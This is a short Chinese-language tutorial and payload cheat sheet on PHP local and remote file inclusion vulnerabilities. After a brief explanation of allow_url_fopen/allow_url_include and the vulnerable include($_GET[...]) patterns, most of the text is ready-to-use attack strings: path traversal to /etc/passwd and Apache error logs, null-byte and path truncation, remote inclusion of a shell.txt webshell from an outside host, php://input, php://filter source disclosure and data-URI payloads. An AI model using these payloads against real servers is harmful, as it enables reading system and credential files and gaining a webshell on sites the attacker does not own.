PHP文件包含漏洞入门
1.PHP配置在文件包含中的运用
文件包含漏洞即当程序员在包含文件的过程中引入了外部提交的数据参与包含的过程所产生的漏洞,这个漏洞是目前Web攻击中最利用率最高的一个漏洞,攻击者 可以轻松获取服务器的访问权限(即拿到webshell)。而文件包含通常又有本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)之分。allow_url_fopen和allow_url_include是决定包含属于本地文件包含(LFI)还是远程文件包含 (RFI)的条件,在PHP4中则只有一个allow_url_fopen选择。其中allow_url_fopen和 allow_url_include为0n的情况为远程文件包含漏洞,相反为本地文件包含漏洞。
在文件包含中典型的两种格式如下:
(1)需要截断的文件包含
include($_GET['chin']);
include(“$_GET['dir']/test.php”);
①、使用%00来截断
在这里要想利用文件包含就必须突破后面/test.php的限制,而通常截断后面数据的有三个办法。
适合场合:Magic_quote为off的情况下
②、使用?截断
适合场合:远程文件包含(RFI),相当于又构造了一次Get请求。
http://127.0.0.1:81/include.php?dir=http://127.0.0.1:81/shell.txt?
③、通过使路径长度达到一定长度限制时截断
通常Windows的截断长度为240,Linux的截断长度为4096;
使用场合:均适用
(2).直接包含的类型
include(“$_GET['dir']“);
在register_globals为on的情况下,如果变量未初始化则可以达到文件包含的效果,通常网上发的文件包含 漏洞都没有上面两种那么直接,大部分需要register_globals的配合才能实现文件包含。可以直接在dir中指定文件名就能实现文件包含,而不需要经过截断处理。
2.基本的文件包含漏洞
包含同路径下的文件:
?file=.htaccess
路径遍历:
?file=../../../../../../../../../var/lib/locate.db
包含注入PHP代码的文件:
?file=../../../../../../../../../var/log/apache/error.log
3.受限的本地文件包含
空字符注入(Null Byte Injection):
?file=../../../../../../../../../etc/passwd%00
列目录(Null Byte Injection):
?file=../../../../../../../../../var/www/accounts/%00
路径截断(Path Truncation):
?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
点号截断:
?file=../../../../../../../../../etc/passwd……………. …
4.基本的远程文件包含
包含远程代码(Including Remote Code):
?file=[http|https|ftp]://websec.wordpress.com/shell.txt
使用php输入流(Using PHP stream php://input):
?file=php://input
使用PHP过滤函数(Using PHP stream php://filter):
?file=php://filter/convert.base64-encode/resource=index.php
Using data URIs (需要 allow_url_include=On):
?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
用于跨站脚本攻击(Using XSS):
?file=http://127.0.0.1/path/xss.php?xss=phpcode
5.受限的远程文件包含漏洞
?file=http://websec.wordpress.com/shell
?file=http://websec.wordpress.com/shell.txt?
?file=http://websec.wordpress.com/shell.txt%23
需要 allow_url_fopen=On 和 allow_url_include=On
百度下拉代理
匿名